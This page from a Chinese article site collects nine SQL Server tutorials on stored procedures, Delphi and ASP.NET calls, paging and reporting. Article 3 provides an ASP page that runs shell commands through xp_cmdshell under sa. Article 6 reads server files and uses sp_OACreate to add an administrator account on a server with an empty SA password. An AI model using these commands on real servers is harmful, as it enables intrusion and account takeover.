欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>收藏几段SQL Server语句和存储过程

收藏几段SQL Server语句和存储过程

2022-08-03 08:21:56 收藏本文 下载本文

“马力扣”通过精心收集,向本站投稿了9篇收藏几段SQL Server语句和存储过程,下面是小编精心整理后的收藏几段SQL Server语句和存储过程,仅供参考,大家一起来看看吧。

收藏几段SQL Server语句和存储过程

篇1:收藏几段SQL Server语句和存储过程

-- ======================================================

--列出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息

--在查询分析器里运行即可,可以生成一个表,导出到EXCEL中

-- ======================================================

select

(casewhena.colorder=1thend.nameelse''end)表名,

a.colorder 字段序号,

a.name 字段名,

(casewhenCOLUMNPROPERTY( a.id,a.name,'IsIdentity')=1then'√'else''end) 标识,

(casewhen(selectcount(*)

fromsysobjects

where(namein

(selectname

fromsysindexes

where(id= a.id)and(indidin

(selectindid

fromsysindexkeys

where(id= a.id)and(colidin

(selectcolid

fromsyscolumns

where(id= a.id)

篇2:Delphi与SQLServer存储过程编程详解数据库

前言 经常有很多初学者问到在delphi中如何调用 SQL Server的存储过程 ?问题其实很好解决,但问得多了,也就不愿答了,下面我将用实例进行说明,从在SQL Server中创建存储过程到调用的完整实例。 首先,打开 sql server管理器,在pubs 数据库 中建一个 测试 表

前言

经常有很多初学者问到在delphi中如何调用SQLServer的存储过程?问题其实很好解决,但问得多了,也就不愿答了。下面我将用实例进行说明,从在SQL Server中创建存储过程到调用的完整实例。

首先,打开sqlserver管理器,在pubs数据库中建一个测试表,表名为test,字段有id,name,和desc,全部为字符型,如果你不知道建表,那么打开sql查询分析器,贴上以下的代码,然后按执行,就会自动生成test表.

use pubs

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[test]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)

drop table [dbo].[test]

GO

CREATE TABLE [dbo].[test] (

[id] [char] (10) COLLATE Chinese_PRC_CI_AS NOT NULL ,

[name] [char] (12) COLLATE Chinese_PRC_CI_AS NULL ,

[descrip] [char] (30) COLLATE Chinese_PRC_CI_AS NULL

) ON [PRIMARY]

GO

然后,我们来创建一个存储过程,其功能为在test中插入一条新记录.创建存储过程的代码如下,同样的,你也可以复制到查询分析器里直接执行就可以:

CREATE PROCEDURE myInsert

@id char(10) ,

@name varchar(12),

@descrip varchar(30)

AS

begin

insert into test (id,name,descrip) values (@id,@name,@descrip)

if @@rowcount=0

begin

raiserror('error',16,1)

rollback transaction

end

end

GO

接下来,新建一个工程文件,在form1上放置如下控件,并设置属性(括号内):

一个ADOConnection1: TADOConnection;

(LoginPrompt:=false;

connectionstring:=Provider=SQLOLEDB.1;Persist Security Info=True;User ID=sa;Initial Catalog=pubs;Data Source=(local);)

一个ADOStoredProc1: TADOStoredProc;属性为:

(connection:=adoconnection1;

procedurename:=myinsert;//上面我们创建的那个)

一个ADOTable1: TADOTable;属性为:

(connection:=adoconnection1;

tablename:=test; //上面我们创建的那个)

一个Datasource1,属性为:

(dataset:=Tadotable;)

一个 DBGrid1: TDBGrid;属性为

(datasource:=datasource1;)

一个Button1,在其Onclick中写到:

with adoStoredproc1 do

begin

Parameters.ParamByName('@id').Value := '2';

parameters.ParamByName('@name').Value := 'myname';

parameters.ParamByName('@descrip').Value :='nosubject';

ExecProc;

end;

Adotable1.Close;

adotable1.Open;

原文转自:www.ltesting.net

篇3:教你SQLSERVER扩展存储过程XPCMDSHELL的简单应用

XP_CMDSHELL存储过程是执行本机的CMD命令,要求系统登陆有SA权限,也就是说如果获得SQLSERVER的SA命令,那就可以在目标机为所欲为了,知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作,下面是我写的一个简单的应用页面(ASP),代码如下。

XP_CMDSHELL存储过程是执行本机的CMD命令,要求系统登陆有SA权限,也就是说如果获得SQLSERVER的SA命令,那就可以在目标机为所欲为了,知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作。

下面是我写的一个简单的应用页面(ASP),代码如下。

CMD.ASP

<%@LANGUAGE=“VBSCRIPT” CODEPAGE=“936”%>

SQLSERVER_XP_CMDSHELL实例_魔术师·刘

<%if request(“cmd”)“” then%>

XP_CMDSHELL请求结果

<%dim connstr,conn,rs,i

ConnStr=“Provider=sqloledb.1;persist security info=false;server=”&request(“server”)&“;uid=sa;pwd=”&request(“pwd”)&“;database=master”

'ConnStr=“Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master”

set conn=Server.CreateObject(“ADODB.Connection”)

conn.open Connstr

set rs=server.CreateObject(“ADODB.Recordset”)

set rs=conn.execute(“xp_cmdshell '”&replace(replace(request(“cmd”),“'”,“''”),chr(34),“''”)&“'”)

i=0

while not rs.eof

if not isnull(rs(0)) then

if i mod 2 =0 then

response.Write “”&rs(0)&“”

else

response.Write “”&rs(0)&“”

end if

i=i 1

end if

rs.movenext

wend

rs.close

set rs=nothing

conn.close

set conn=nothing

%>

<%end if%>

XP_CMDSHELL实例

服务器

<%=request(“Server”)%>“>

SA密码

<%=request(”PWD“)%>”>

CMD命令

<%=request(“CMD”)%>“>

篇4:SQLSERVER Pager store procedure分页存储过程数据库教程

复制代码代码如下:

SET ANSI_NULLS ON

GO

SET QUOTED_IDENTIFIER ON

GO

CREATE PROCEDURE [dbo].[Pagination]

@Page int = 1, -- 当前页码

@PageSize int = 10, -- 每页记录条数(页面大小)

@Table nvarchar(500), -- 表名或视图名,甚至可以是嵌套SQL:(Select * From Tab Where ID>1000) Tab

@Field nvarchar(800) = '*', -- 返回记录集字段名,”,“隔开,默认是”*“

@OrderBy nvarchar(100) = 'ID ASC', -- 排序规则

@Filter nvarchar(500), -- 过滤条件

@MaxPage smallint output, -- 执行结果 -1 error, 0 false, maxpage true

@TotalRow int output, -- 记录总数 /* -07-12 22:11:00 update */

@Descript. varchar(100) output -- 结果描述

AS

BEGIN

-- =============================================

-- Author: Jimmy.Yu

-- Create date: 2007-5-11

-- Description: SQL 以上版本 通用分页存储过程

-- =============================================

Set ROWCOUNT @PageSize;

Set @Descript. = 'successful';

-------------------参数检测----------------

IF LEN(RTRIM(LTRIM(@Table))) !> 0

Begin

Set @MaxPage = 0;

Set @Descript. = 'table name is empty';

Return;

End

IF LEN(RTRIM(LTRIM(@OrderBy))) !> 0

Begin

Set @MaxPage = 0;

Set @Descript. = 'order is empty';

Return;

End

IF ISNULL(@PageSize,0) <= 0

Begin

Set @MaxPage = 0;

Set @Descript. = 'page size error';

Return;

End

IF ISNULL(@Page,0) <= 0

Begin

Set @MaxPage = 0;

Set @Descript. = 'page error';

Return;

End

-------------------检测结束----------------

Begin Try

-- 整合SQL

Declare @SQL nvarchar(4000), @Portion nvarchar(4000);

Set @Portion = ' ROW_NUMBER OVER (ORDER BY ' + @OrderBy + ') AS ROWNUM FROM ' + @Table;

Set @Portion = @Portion + (CASE WHEN LEN(@Filter) >= 1 THEN (' Where ' + @Filter + ') AS tab') ELSE (') AS tab') END);

Set @SQL = 'Select TOP(' + CAST(@PageSize AS nvarchar(8)) + ') ' + @Field + ' FROM (Select ' + @Field + ',' + @Portion;

Set @SQL = @SQL + ' Where tab.ROWNUM > ' + CAST((@Page-1)*@PageSize AS nvarchar(8));

-- 执行SQL, 取当前页记录集

Execute(@SQL);

--------------------------------------------------------------------

-- 整合SQL

Set @SQL = 'Set @Rows = (Select MAX(ROWNUM) FROM (Select' + @Portion + ')';

-- 执行SQL, 取最大页码

Execute sp_executesql @SQL, N'@Rows int output', @TotalRow output;

Set @MaxPage = (CASE WHEN (@TotalRow % @PageSize)0 THEN (@TotalRow / @PageSize + 1) ELSE (@TotalRow / @PageSize) END);

End Try

Begin Catch

-- 捕捉错误

Set @MaxPage = -1;

Set @Descript. = 'error line: ' + CAST(ERROR_LINE() AS varchar(8)) + ', error number: ' + CAST(ERROR_NUMBER() AS varchar(8)) + ', error message: ' + ERROR_MESSAGE();

Return;

End Catch;

-- 执行成功

Return;

END

相对应的页面逻辑中写的对应调用该存储过程的方法(C#)

篇5:浅析Oracle和SqlServer存储过程的调试、出错处理数据库

在大型数据库中,因为 开发 的需要,经常地需要调用Procedure,开发Procedure在 Oracle 和Sqlserver上因为语法不同,而有所区别,但是在调试上,都是比较的不容易,尤其是在一些错误处理上, 首先说调试: 1、 对于Oracle的调试,可以借助于第三方的工具,比

在大型数据库中,因为开发的需要,经常地需要调用Procedure,开发Procedure在Oracle和Sqlserver上因为语法不同,而有所区别,但是在调试上,都是比较的不容易,尤其是在一些错误处理上。

首先说调试:

1、 对于Oracle的调试,可以借助于第三方的工具,比如Pl/Sql Developer,我在用的版本是6.0.5.926;首先对该Procedure右键处理,添加“add debug information”,然后选择“test”,打开新的测试窗口,在下方对应的输入输出变量地方,添加相应的测试数据,注意:这里的数据输入,不需要引号,输出参数不需要输入然后点击“start debugger”,或者按F9,进行测试,可以选择测试的步骤如“step into”等,然后可以在下面的script窗口看到,中间变量;

2、 对于SqlServer调试,我还没有找到比较好的第三方工具,目前是采用将中间的变量值或者sql语句插入到另一个表中,或者直接print出来的方式。第一种需要借助 exec('') 方法,注意里面的取变量值的写法,可参考下面的例子:

exec('update SupplyplanLack set Completedate = GetDate()

from supplyPlanLack a where '+ @ssTmp +' and

'+@iCompleteQty+'>= (select s.RequestQty * a.RationQty as ReqQty

from Balance a, SupplyPlan s where a.Vehicle = s.Vehicle

and a.Part=s.Part and a.SupplyPlanNo = s.SupplyPlanNo

and '+ @ssTmp +')')

在print中,需要注意类型的转换,一般是借用 convert(varchar(11),@spNOTo) 方法来实现,否则会提示类型转换错误!

3、 错误处理上,对于Sqlserver可以采用开始自定义变量,然后根据不同判断,改变该值然后推出的方法来处理,见下例

set @exec_num=0

if (@spNOFrom=0 or @spNOTo=0 or @reuseUser=NULL)

begin

set @exec_num=1

goto the_end

end

the_end:

return

或者是这种:

set nocount on

if (@property is null) or (@property = '')

begin

raiserror('Must specify a property name.',-1,-1)

return (1)

end

或者是对该错误全局变量 @@error 数值的判断上,

原文转自:www.ltesting.net

篇6:利用存储过程控制SA口令为空的SQLServer服务器的方法

利用存储过程控制SA口令为空的SQLServer服务器的方法

前几天朋友找我,让我帮忙测试一下他们的服务器,经过扫描后发现SQLServer的SA为空,决定利用这个漏洞做渗透测试。经过测试发现存储过程 Xp_cmdshell以及读取注册表系列的存储过程都被删除了,并且Xplog70.dll也被删除,所以无法执行CMD命令和克隆管理员帐号了,看样子是经过安全配置的,这种情况据我当时掌握的知识是没办法入侵的。以前也遇到过类似的机器,所以决定利用几天的时间解决这个问题。

经过两天的查阅资料和测试,实现了不需要使用任何SQLServer自带的存储过程就可以从目标机上得到txt、asp等类型文件的内容(前提是知道SA 密码或者SA密码为空),实现过程就是自己建立一个临时表,然后将文件读到表中,再用SELECT语句得到返回值,即文件的内容。我们可以在查询分析器里先写入一个存储过程,然后执行,在需要的时候只要调用该存储过程即可:

Create proc sp_readTextFile @filename sysname

as

begin

set nocount on

Create table #tempfile (line varchar(8000))

exec ('bulk insert #tempfile from ”' + @filename + '“')

select * from #tempfile

drop table #tempfile

End

go

这样我们只要执行类似下面的语句就可以得到指定路径下文件的内容:

exec sp_readTextFile 'c:aaa.asp'

实现这个功能后,本打算通过读取朋友服务器上网站的asp代码,做进一步的入侵,可是后来发现,因为不知道网站asp文件的绝对路径,所以这个功能根本用不上,只好作罢,另找其他方法。在这之后的几天时间里,我想到了使用安全文章经常提到OLE相关的一系列存储过程,这一系列的存储过程同 Xp_cmdshell以及读取注册表系列的.存储过程一样危险,但是其使用方法不象那些存储过程在网络上和书上介绍的那样多,这系列的存储过程有 sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod, sp_OASetProperty,sp_OAStop,下面我讲一下通过查阅资料得到的使用方法:

打开查询分析器,然后使用SA与目标机连接上,在查询分析器里执行:

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC

SP_OAMETHOD @shell,'run',null, 'c:WINNTsystem32cmd.exe /c net user

ceshi 1 /add'--

这样对方系统增加了一个用户名为ceshi,密码为1的用户,再执行:

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC

SP_OAMETHOD @shell,'run',null, 'c:WINNTsystem32cmd.exe /c net localgroup

administrators ceshi /add '--

用户ceshi,被加入管理员组。

总结:通过这次渗透测试,又学到了一种利用存储过程控制SA为空的SQLServer服务器的方法。

篇7:存储过程与 SQL Server语句大比拼综合教程

本文从多个角度阐述了SQL Server与存储过程的比较,

①为什么要使用存储过程?

因为它比SQL语句执行快。

②存储过程是什么?

把一堆SQL语句罗在一起,还可以根据条件执行不通SQL语句。

③来一个最简单的存储过程:

CREATE PROCEDURE dbo.testProcedure_AX

AS

select userID from

USERS order by userid desc

注:dbo.testProcedure_AX是你创建的存储过程名,可以改为:AXzhz等,别跟关键字冲突就行了.AS下面就是一条SQL语句,不会写SQL语句的请回避。

④怎么在ASP.NET中调用这个存储过程:

public static string GetCustomerCName

(ref ArrayList arrayCName,ref ArrayList arrayID)

{

SqlConnection con=ADConnection.createConnection;

SqlCommand cmd=new SqlCommand(”testProcedure_AX“,con);

cmd.CommandType=CommandType.StoredProcedure;

con.Open();

try

{

SqlDataReader dr=cmd.ExecuteReader();

while(dr.Read())

{

if(dr[0].ToString()==”“)

{

arrayCName.Add(dr[1].ToString());

}

}

con.Close();

return ”OK!“;

}

catch(Exception ex)

{

con.Close();

return ex.ToString();

}

}

注:其实就是把以前:

SqlCommand cmd=new SqlCommand(”select

userID from USERS order by userid desc“,con);

中的SQL语句替换为存储过程名,再把cmd的类型标注为CommandType.StoredProcedure(存储过程)。

⑤写个带参数的存储过程:

CREATE PROCEDURE dbo.AXzhz

/*

这里写注释

*/

@startDate varchar(16),

@endDate varchar(16)

AS

select id from table_AX where commentDateTime>

@startDate and commentDateTime<@endDate order

by contentownerid DESC

注:@startDate varchar(16)是声明@startDate 这个变量,多个变量名间用【,】隔开.后面的SQL就可以使用这个变量了。

⑥我怎么在ASP.NET中调用这个带参数的存储过程:

public static string GetCustomerCNameCount

(string startDate,string endDate,ref DataSet ds)

{

关 键 字:SQLServer

篇8:Crystal Reports 和sqlserver共同进行报表的开发存储过程实践数据库教程

server|存储过程

Crystal Reports 和sql-server共同进行报表的开发

1:Crystal Reports功能自述

Crystal Reports 用于处理数据库,帮助用户分析和解释重要信息,使用 Crystal Reports 可以方便地创建简单报表,同时它也提供了创建复杂或专用的报表所需的整套工具。

创建所能想象的任何报表

Crystal Reports 几乎可以从任何数据源生成您需要的报表。内置报表专家在您生成报表和完成一般的报表任务过程中,会一步一步地指导您进行操作。报表专家通过公式、交叉表、子报表和设置条件格式帮助表现数据的实际意义,揭示可能被隐藏掉的重要关系。如果文字和数字确实不够充分,则用地理地图和图形进行形象的信息交流。

将报表扩展到 Web

Crystal Reports 的灵活性并未停留在创建报表这一功能上 ?您可以用各种各样的格式发布报表,包括用 Microsoft 的 Word 和Excel 发布、通过电子邮件甚至 Web 发布。高级的 Web 报表功能允许工作组中的其他成员在他们自己的 Web 浏览器中查看或更新共享报表。

将报表并入应用程序

通过将 Crystal Reports 的报表处理功能整合到自己的数据库应用程序中,应用程序和 Web 开发人员可以节省开发时间并满足用户的需求。Crystal Reports 支持大多数流行的开发语言,可以方便地在任何应用程序中添加报表。

不论您是 IT 行业的站点管理员,还是营销推广经理,也无论您是金融业的数据库管理员还是 CEO,Crystal Reports 都堪称是一个功能强大的工具,它可以帮助每一个人分析、解释重要信息。

2:Crystal Reports和Sql-server结合

Crystal虽然提供了强大的报表功能,但是对于复杂的逻辑运算,却是很难实现。但是,Crystal中可以像添加表一样添加存储过程,这就给我们的复杂运算提供了简便的处理方法。

3:例子

这是我们给国航公司it服务项目做的报表的sql-server存储过程部分。(欢迎大家共同讨论)

A:每个员工的处理故障完成数、总数

fgw_proc1.txt

--fgw_proc1 处理故障完成数、总数

CREATE PROCEDURE [AHD].[fgw_proc1](@开始时间 datetime , @结束时间 datetime)

AS

DECLARE @begin int , @end int                    /*转时间*/

exec fgw_util1 @开始时间, @begin output

exec fgw_util1 @结束时间, @end output

DECLARE @userid int, @handled float, @total float

CREATE TABLE #temp_proc1

(

userid int,

handled float,

total float

)

DECLARE cur_ctct CURSOR FOR SELECT id FROM AHD.AHD.ctct --取所有的用户id

OPEN cur_ctct

FETCH cur_ctct INTO @userid

WHILE @@FETCH_STATUS = 0

BEGIN

--get @handle through exec fgw_proc2

EXEC fgw_proc1_1 @userid , @begin , @end , @handled output , @total output /*call下个存储过程,得到某个用户的解决数、接触故障数*/

INSERT INTO #temp_proc1 VALUES (@userid , @handled , @total)   /*将用户信息插入临时表*/

FETCH NEXT FROM cur_ctct INTO @userid   /*记录下移*/

END

CLOSE cur_ctct

DEALLOCATE cur_ctct

SELECT * FROM #temp_proc1 /*生成结束集*/

DROP TABLE #temp_proc1     /*释放*/

GO

fgw_proc1_1.txt

--fgw_proc1_1

CREATE PROCEDURE [AHD].[fgw_proc1_1](@userid int , @begin int , @end int , @handled float OUTPUT , @total float OUTPUT)

AS

SET @handled = 0

SET @total = 0

DECLARE @cr_id int, @zh_id int, @status char(12), @to_status char(12), @cnt int, @open_date int

--handled /*计算此人的处理完成故障数*/

DECLARE cur11_1 CURSOR FOR SELECT AHD.call_req.id AS cr_id, AHD.ztr_his.id AS zh_id, AHD.call_req.status, AHD.ztr_his.to_status, AHD.ztr_his.to_cnt AS cnt, AHD.call_req.open_date FROM AHD.call_req LEFT OUTER JOIN AHD.ztr_his ON AHD.call_req.persid = AHD.ztr_his.call_req_id WHERE AHD.call_req.type='I' AND (AHD.call_req.status IN ('CL', 'TTPC')) AND (AHD.ztr_his.to_status IN ('L1WIP', 'L2WIP', 'ICP', 'SRBYL1', 'SRBYL2', 'NCCBYL1', 'NCCBYL2', 'CRBYL1', 'CRBYL2')) AND AHD.call_req.open_date>@begin AND AHD.call_req.open_date<@end AND AHD.ztr_his.to_cnt = @userid

OPEN cur11_1

FETCH cur11_1 INTO @cr_id, @zh_id, @status, @to_status, @cnt, @open_date /*事件id,历史id,状态,处理人,打开时间取所需要的值*/

WHILE @@FETCH_STATUS = 0   /*循环每一个记录*/

BEGIN

DECLARE @count2 int   /*每个事件单在历史记录中有多少条*/

DECLARE cur11_2 CURSOR FOR SELECT count(*) FROM AHD.call_req LEFT OUTER JOIN AHD.ztr_his ON AHD.call_req.persid = AHD.ztr_his.call_req_id WHERE AHD.call_req.type='I' AND (AHD.call_req.status IN ('CL', 'TTPC')) AND (AHD.ztr_his.to_status IN ('L1WIP', 'L2WIP', 'ICP', 'SRBYL1', 'SRBYL2', 'NCCBYL1', 'NCCBYL2', 'CRBYL1', 'CRBYL2')) AND (AHD.call_req.open_date>@begin) AND (AHD.call_req.open_date<@end) AND (AHD.call_req.id = @cr_id)

OPEN cur11_2

FETCH cur11_2 INTO @count2

CLOSE cur11_2

DEALLOCATE cur11_2

IF @count2 0

SET @handled = @handled + 1.0 / @count2 /*此人的处理完成数*/

FETCH NEXT FROM cur11_1 INTO @cr_id, @zh_id, @status, @to_status, @cnt, @open_date /*循环记录*/

END

CLOSE cur11_1

DEALLOCATE cur11_1

--total /*计算此人的处理故障数*/

DECLARE cur11_3 CURSOR FOR SELECT count(distinct(AHD.call_req.id)) FROM AHD.call_req LEFT OUTER JOIN AHD.ztr_his ON AHD.call_req.persid = AHD.ztr_his.call_req_id WHERE AHD.call_req.type='I' AND (AHD.call_req.open_date>@begin AND AHD.call_req.open_date<@end) AND (AHD.ztr_his.to_cnt = @userid) /*取此人所有单*/

OPEN cur11_3

FETCH cur11_3 INTO @total /*总故障数*/

CLOSE cur11_3

DEALLOCATE cur11_3

--SELECT @handled

--declare @handled float,@total float

--exec fgw_proc1_1 400115,1,1111111111,@handled output ,@total output

--print @handled

--print @total

GO

B:每个员工的响应达标数、响应总数

fgw_proc2.txt

--fgw_proc2 响应达标数、响应总数

CREATE PROCEDURE [AHD].[fgw_proc2](@开始时间 datetime , @结束时间 datetime)

AS

DECLARE @begin int , @end int

exec fgw_util1 @开始时间, @begin output

exec fgw_util1 @结束时间, @end output

DECLARE @cr_id int, @zh_id int, @cnt int, @sym char(30), @time_stamp int, @isOK int , @userid int , @handled int , @total int

DECLARE @call_req_id char(30)

CREATE TABLE #temp_proc2  /* 响应达标数、响应总数*/

(

userid int,

handled2 int,

total2 int

)

CREATE TABLE #temp_proc2_1 /* 事件单为op的记录*/

(

cr_id int,

zh_id int,

cnt int,

isOK int

)

--initialize #temp_proc2_1 /*已经op的单,是否响应达标,返回处理人*/

DECLARE cur2_1 CURSOR FOR SELECT zh.call_req_id,zh.id,zh.to_cnt,sd.sym,zh.time_stamp FROM AHD.AHD.call_req as cr LEFT OUTER JOIN AHD.AHD.ztr_his as zh ON cr.persid=zh.call_req_id LEFT OUTER JOIN AHD.AHD.srv_desc as sd ON cr.support_lev=sd.code WHERE cr.type='I' and cr.open_date>@begin and cr.open_date<@end and (zh.to_status='ASTOL1' OR zh.to_status='ASTOL2')

OPEN cur2_1

FETCH cur2_1 INTO @call_req_id, @zh_id, @cnt, @sym, @time_stamp /*事件单id,历史单id,人员,服务级别,op状态的时间*/

WHILE @@FETCH_STATUS = 0

BEGIN

EXEC fgw_proc2_1 @call_req_id , @sym , @time_stamp , @isOK output

INSERT INTO #temp_proc2_1 VALUES (@cr_id , @zh_id , @cnt , @isOK)

FETCH NEXT FROM cur2_1 INTO @call_req_id, @zh_id, @cnt, @sym, @time_stamp

END

CLOSE cur2_1

DEALLOCATE cur2_1

--initialize #temp_proc2

DECLARE cur2_2 CURSOR FOR SELECT id FROM AHD.AHD.ctct

OPEN cur2_2

FETCH cur2_2 INTO @userid

WHILE @@FETCH_STATUS = 0

BEGIN

--get @total /*所有的已响应的单*/

DECLARE cur2_3 CURSOR FOR SELECT count(*) FROM #temp_proc2_1 WHERE cnt = @userid

OPEN cur2_3

FETCH cur2_3 INTO @total

CLOSE cur2_3

DEALLOCATE cur2_3

--get @handled /*所有的已响应的单,并达标的单*/

DECLARE cur2_4 CURSOR FOR SELECT count(*) FROM #temp_proc2_1 WHERE cnt = @userid AND isOK=1

OPEN cur2_4

FETCH cur2_4 INTO @handled

CLOSE cur2_4

DEALLOCATE cur2_4

INSERT INTO #temp_proc2 VALUES (@userid , @handled , @total)

FETCH NEXT FROM cur2_2 INTO @userid

END

CLOSE cur2_2

DEALLOCATE cur2_2

DROP TABLE #temp_proc2_1

SELECT * FROM #temp_proc2

DROP TABLE #temp_proc2

GO

fgw_proc2_1.txt

--fgw_proc2_1

CREATE PROCEDURE [AHD].[fgw_proc2_1](@call_req_id char(30) , @level char(30) , @time_stamp int , @isOK int OUTPUT)

AS

SET NOCOUNT ON

SET @isOK = 0

DECLARE cur_zh CURSOR FOR SELECT time_stamp FROM AHD.AHD.ztr_his WHERE call_req_id = @call_req_id and to_status in ('L1WIP','L2WIP') and time_stamp>@time_stamp

OPEN cur_zh

DECLARE @time_stamp1 int

SET @time_stamp1=0

FETCH cur_zh INTO @time_stamp1

IF (@time_stamp1 is not null) and (@time_stamp10)

BEGIN

IF CHARINDEX('一级', @level) IS NOT NULL AND CHARINDEX('一级', @level)0

BEGIN

if @time_stamp1 - @time_stamp <600

SET @isOK=1

END

ELSE IF CHARINDEX('二级', @level) IS NOT NULL AND CHARINDEX('二级', @level)0

BEGIN

if @time_stamp1 - @time_stamp <1800

SET @isOK=1

END

ELSE IF CHARINDEX('三级', @level) IS NOT NULL AND CHARINDEX('三级', @level)0

BEGIN

if @time_stamp1 - @time_stamp <1800

SET @isOK=1

END

ELSE IF CHARINDEX('四级', @level) IS NOT NULL AND CHARINDEX('四级', @level)0

BEGIN

if @time_stamp1 - @time_stamp <1800

SET @isOK=1

END

END

CLOSE cur_zh

DEALLOCATE cur_zh

--SELECT @isOK, @time_stamp1

GO

C:每个员工的处理时限达标数,总数

fgw_proc3.txt

--fgw_proc3

CREATE PROCEDURE fgw_proc3(@开始时间 datetime , @结束时间 datetime)

AS

/*时间转换*/

DECLARE @begin int , @end int

exec fgw_util1 @开始时间, @begin output

exec fgw_util1 @结束时间, @end output

DECLARE @cr_id int, @zh_id int, @cnt int, @sym char(30), @time_stamp int, @isOK int , @userid int , @handled int , @total int

CREATE TABLE #temp_proc3

(

userid int,

handled2 int,

total2 int

)

DECLARE cur3_2 CURSOR FOR SELECT id FROM AHD.AHD.ctct

OPEN cur3_2

FETCH cur3_2 INTO @userid

WHILE @@FETCH_STATUS = 0

BEGIN

--get @handled

DECLARE cur3_4 CURSOR FOR SELECT distinct(cr.id) FROM AHD.AHD.call_req as cr LEFT OUTER JOIN AHD.AHD.ztr_his as zh ON cr.persid=zh.call_req_id WHERE cr.type='I' and cr.open_date>@begin and cr.open_date<@end and zh.to_cnt = @userid and cr.sla_violation=0

OPEN cur3_4

SET @handled = @@CURSOR_ROWS

CLOSE cur3_4

DEALLOCATE cur3_4

--get @total

DECLARE cur3_5 CURSOR FOR SELECT distinct(cr.id) FROM AHD.AHD.call_req as cr LEFT OUTER JOIN AHD.AHD.ztr_his as zh ON cr.persid=zh.call_req_id WHERE cr.type='I' and cr.open_date>@begin and cr.open_date<@end and zh.to_cnt = @userid

OPEN cur3_5

SET @total = @@CURSOR_ROWS

CLOSE cur3_5

DEALLOCATE cur3_5

INSERT INTO #temp_proc3 VALUES (@userid , @handled , @total)

FETCH NEXT FROM cur3_2 INTO @userid

END

CLOSE cur3_2

DEALLOCATE cur3_2

SELECT * FROM #temp_proc3

DROP TABLE #temp_proc3

D:将日期格式转换成整型

fgw_util1.txt

--fgw_util1

CREATE PROCEDURE [AHD].[fgw_util1] (@time datetime, @seconds int output)

AS

set @seconds=datediff(ss,'1970-01-01 00:00:00', @time)

GO

例子只是整盘拷贝了代码,欢迎大家共同讨论

篇9:直接从SQL语句问题贴子数据建表并生成建表语句的存储过程数据库教程

存储过程|数据|问题|语句

下面的存储过程,可帮你在回答SQL语句问题时,直接从贴子的样本数据建表并生成建表语句,省去大量的手工输入数据的工作,

/*Create Table from your web page data

* 2004-JAN-1, OpenVMS,V0.1

* 2004-JAN-2, V0.5, add tab & blank values logical

* 2004-JAN-3, V1.0, add SQL Statement generation

* 2004-JAN-4, V1.1, fix datatype like decimal(4,2) bug

* 2004-JAN-4, V1.2, fix field name bug

*

* Sample Call: in SQL Query Analyzer

exec dbo.create_table '##t2','varchar(20),datetime k','

ID                  AnDate

99101               2002-11-24 00:00:00.000

99101               2003-11-15 00:00:00.000

99101               2003-11-29 00:00:00.000

99101               2003-12-20 00:00:00.000'

注意:

1 如用临时表名,只能用全局临时表 ##,否则不可访问

2 如果没有列名,则需要在第一行数据手动加上列名

3 字段名称不允许含空格

4 至少一行数据,否则没有意义

5 字段值为空需要写上NULL,字段值中的任何符号作为值的一部分

6 没有对定义类型和值的类型匹配检查

7 可指定值中含有空格,方法为在该类型定义中的尾部加字母 k, 如 datatime k,

8 如过值中含有单引号,需要复写 ' -》''

*/

IF EXISTS (SELECT name

FROM  sysobjects

WHERE name = N'create_table'

AND  type = 'P')

DROP PROCEDURE create_table

go

create proc dbo.create_table

@table_name varchar(60),--- Table name

@datatype varchar(1000),--- separated by comma ','

@str nvarchar(3000)    --- input string pasted from web page

AS

BEGIN

declare @dt table(id int identity(1,1),fld_name varchar(30),fld_type varchar(20),blank int)

declare @sqlt table(sql_statement varchar(8000))

declare @tmp varchar(1000),@num1 int,@num2 int,@sql nvarchar(4000)

declare @a nvarchar(3000),@i int,@j int,@k int,@m int,@x nvarchar(1000)

SET NOCOUNT ON

if object_id(@table_name) is not null

begin

set @a='TABLE '+@table_name+' exists,choose a new one!'

RAISERROR (@a,16,1)

return

end

--提取类型名

set @datatype=lower(replace(@datatype,' ',''))

set @tmp=@datatype

set @i=1

set @num1=0

while @i>0

begin

select @i=charindex(',',@datatype)

--check datatype like decimal(10,4)

if @i>charindex('(',@datatype) and @i

set @i=charindex(')',@datatype)+1

select @j=charindex('k',@datatype)

set @m=0

if (@j>1 and @j<@i) or (@i=0 and @j=len(@datatype)) set @m=-1

if @i>1

begin

insert into @dt(fld_type,blank)

values(left(@datatype,@i-1+@m),case when @m=-1 then 1 else 0 end)

select @datatype=right(@datatype,len(@datatype)-@i)

end

if @i=0 and len(@datatype)>0

insert into @dt(fld_type,blank) values(left(@datatype,len(@datatype)+@m),

case when @m=-1 then 1 else 0 end)

if @i=1 or len(@datatype)=0

begin

RAISERROR ('error data type,comma sign can not be a prefix or surfix',16,1)

return

end

set @num1=@num1+1

end

--检查类型

if exists (select fld_type from @dt

where (case when charindex('(',fld_type)>0 then

left(fld_type,charindex('(',fld_type)-1)

else fld_type end) not in (select name from systypes) or

charindex('(',fld_type)*charindex(')',fld_type)=0 and

charindex('(',fld_type)+charindex(')',fld_type)>0)

begin

RAISERROR ('error data type.', 16, 1)

return

end

--提取字段和数据

set @a=replace(@str,char(9),' ') --- TAB char

set @a=rtrim(ltrim(@a))

if charindex(char(13)+char(10),right(@a,len(@a)-1))=0 or len(@a)=0

begin

RAISERROR ('input data error,check your data.', 16, 1)

return

end

if object_id('tempdb.dbo.#xx') is not null drop table #xx

select identity(int,1,1) ID,space(50) val into #xx where 1=2

set @k=0

set @num2=0

set @m=0

while len(@a)>0

begin

set @i=1

set @x=left(@a,1)

if @x=char(10) begin

if @m>@num2 and @num2>0 and charindex('k',@datatype)=0 begin

RAISERROR ('number of data is greater than the columns,you should add k in data type difinition.', 16, 1)

return

end

set @m=0

end

if @x not in (' ',char(13),char(10))

begin

set @i=charindex(' ',@a)

set @j=charindex(char(13)+char(10),@a)

set @m=@m+1

if @k-1 set @k=@k+1

